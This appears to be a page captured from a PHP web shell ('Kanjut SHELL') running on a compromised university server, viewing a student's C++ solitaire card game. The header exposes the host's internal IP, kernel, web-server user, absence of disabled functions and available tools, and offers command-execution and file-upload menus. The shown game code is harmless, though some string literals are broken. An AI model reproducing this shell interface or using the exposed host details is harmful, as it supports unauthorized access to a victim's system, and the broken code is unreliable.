Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.188.76.209
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/bafreeman/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/bafreeman/pirategold-Ben_F.cpp
// 	File name:      pirategold-Ben-F.cpp
//      Author:         Benjamin Freeman
//      Instructor:     Mrs. Ames
//      Compilation:    g++ pirategold-Ben-F.cpp -o pirategold-Ben-F.out
//      Execution:      ./pirategold-Ben-F.out
//
//      Goal: This program will play the card game Pirate's Gold.      



#include <iostream>
#include <iomanip>
#include <cstdlib> // for random number generator
#include <ctime>  // for time to see random number generator
#include "cardclass.cpp" // Card, Deck types and Classes; also Boolean

//  Game Function Prototypes
void PlayPirateGame(DeckType deck);
//********************************
const int tablesize= 8; // how many spaces are in the "table"

//  Main Function
int main()
{
   DeckType deck; // deck of cards

   srand(time(0));  // random number generator is "on"

   deck.Shuffle();  // shuffle Deck

   PlayPirateGame(deck);

   return 0;
}
//************************************************************************************************
// PlayPirateGame plays a version of Solitaire called "Pirate's Gold".  Where eight cards are    *
// drawn from the deck and placed face up on the "table" created by the program.  If two of      *
// the cards match, then they are replaced with two new cards from the deck.  The game continues *
// until there are no more cards in the deck, or there are no more matching cards on the "table".*
//************************************************************************************************

void PlayPirateGame (DeckType deck)                                                          
{
	typedef CardType HandType[DECKSIZE]; // local type for a card hand

	// local variables
	//*************************************
	HandType table; // "table" for the eight cards  
	
	int i,j,l,g,m,p; // loop progression counters
	
	bool matchfound; // flag to work for card matches

        //*************************************
        // Time to start the game.
	//*************************************
	
	cout << endl;
	cout << "Pirate's Gold Game\n\n";
	cout << "Orignal Cards on Table:" << endl;
	cout << "***********************************************************************" << endl;   

	// deal eight cards
   	for (i=0; i < tablesize; i++)  
   	{
		table[i] = deck.DrawCard();
		table[i].Print();
    		if (i==3)
		   cout << "\n";
		else
		   cout << " ";		
 	}
	
	l=0;  // round counter
	matchfound=true;
	cout << "\n**********************;
	cout << "*************************************************" << endl;
	cout << "\n\nStart Game!!!!!" << endl;

	//****************************************************
	//  Loop through the deck while it's not empty and 
	//  there are matches in the "table". 
	//****************************************************

	while(matchfound && !deck.IsEmpty())
	{
		g=0;  // represents the first card on the "table"
		matchfound=false;
		cout << "\n"; 
		//****************************************************
		//  Loop through table looking for any matching cards
		//****************************************************

		while(g<tablesize && !matchfound)
		{
			p= g+1; // represents next card on the "table"

			while(p<tablesize && !matchfound)
			{
				if(table[g].EqualFace(table[p]))  // the two cards match
				{
					matchfound=true;

					// replace the two cards

					table[g]=deck.DrawCard();
					table[p]=deck.DrawCard();				
					cout << "\n**********************************";
					cout << "*************************************\n" << endl;	
					for(j=0; j<tablesize; j++)  // print the new "table" 
								    // with the two new cards added
               				{
                       				table[j].Print();
                       				if (j==3)
                       	        			cout << endl;
                       				else
                       	        			cout << " ";
               				}
				}
				else
					p++;  // move to next card
			}
			g++;  // move to next card 
		}
		l++;  // next round
	}
	// The game's over.  Let's see the results:		
	cout << "\n*****************************;
	cout << "******************************************" << endl;
	if (deck.IsEmpty())  // the deck is empty
        	cout << "\n\nYou've won, Congratulations";
	else
		cout << "\n\nSorry, you lost in: " << l-1 << " Round(s)\n";
	cout << endl;
}











Stv3n404 - 2023